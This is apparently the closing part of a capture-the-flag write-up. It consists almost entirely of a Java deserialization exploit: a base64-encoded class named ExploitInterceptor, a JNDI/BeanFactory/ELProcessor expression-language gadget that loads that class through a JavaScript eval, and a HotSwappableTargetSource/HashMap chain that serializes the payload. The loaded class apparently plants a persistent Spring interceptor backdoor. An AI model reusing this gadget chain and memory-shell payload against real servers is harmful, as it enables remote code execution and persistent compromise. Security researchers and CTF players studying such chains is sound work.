QUlBR1lBUXdBRkFIWUFDUUJuQUZFQUFRQUFBSUFBUWdCREFBQUFhQUFBQUF3QUFRQTJBRHdBWkFCcEFBUUFXUUFBQUNzQUJmOEFPUUFHQndCcUJ3QnJCd0JzQndCdEJ3QnVBUUFBSC9vQUJmOEFGUUFCQndCcUFBRUhBRzhKQUFJQVdnQndBQUlBUHdBQUFEa0FBUUFDQUFBQUJTcTNBQ0t4QUFBQUFnQkFBQUFBQmdBQkFBQUFTZ0JCQUFBQUZnQUNBQUFBQlFCQ0FFTUFBQUFBQUFVQWNRQlhBQUVBVFFBQUFBVUJBSEVBQUFBQkFISUFjd0FEQUQ4QUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCQUFBQUFCZ0FCQUFBQVR3QkJBQUFBSUFBREFBQUFBUUJDQUVNQUFBQUFBQUVBZEFCMUFBRUFBQUFCQUhZQWR3QUNBRXdBQUFBRUFBRUFlQUJOQUFBQUNRSUFkQUFBQUhZQUFBQUJBSElBZVFBREFEOEFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkFBQUFBQmdBQkFBQUFWQUJCQUFBQUtnQUVBQUFBQVFCQ0FFTUFBQUFBQUFFQWRBQjFBQUVBQUFBQkFIb0Fld0FDQUFBQUFRQklBSHdBQXdCTUFBQUFCQUFCQUhnQVRRQUFBQTBEQUhRQUFBQjZBQUFBU0FBQUFBSUFmUUFBQUFJQWZnRGRBQUFBQ2dBQkFKb0Fsd0RjQUFsd2RBQUJNWEIzQVFCNGVBPT0BAB17ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoiJXMifQEAEGphdmEvbGFuZy9PYmplY3QMAKwArQEAEWphdmEvdXRpbC9TY2FubmVyDABSAGcBAAJcQQwArgCvDACwAKkBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHALEMALIAswwAtAC1BwC2DAC3AGcMALgAUwwAuQBTDABSAFMHALoMALsAvAEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAvQwAvgC/AQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwAwADBAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHAMIMAMMAxAcApgwAxQDGDADHAMgBABNqYXZhL3V0aWwvQXJyYXlMaXN0DADJAMoMAMcAywEAEkV4cGxvaXRJbnRlcmNlcHRvcgcAzAwAzQDOAQAeVGVtcEludGVyY2VwdG9yIGhhcyBiZWVuIGFkZGVkBwDPDADQAGcBAAZibGFibGEMANEAqwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAUgDSAQAyb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3IBABBqYXZhL2xhbmcvU3RyaW5nAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAGZm9ybWF0AQA5KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJYWRkSGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBAAVmbHVzaAEABWNsb3NlAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1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";
String evalCode = "var str = '" + b64payload +"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor",
null, "", "",
true,"org.apache.naming.factory.BeanFactory",
null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + evalCode + "\")}"));
cpe.setResolvedObj(ref);
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>());
JSONObject jsonObject = new JSONObject();
jsonObject.put("xxxx", ctx);
Result result1 = new Result("cccc1", "cccc1");
Result result2 = new Result("cccc2", "cccc2");
Reflections.setFieldValue(result1, "message", jsonObject);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2);
HashMap hm = makeMap(v1, v2);
byte[] s = serialize(hm);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
Flag:
P/S: Chả i di da va tẹo nào 🥴
ctf
, java-sec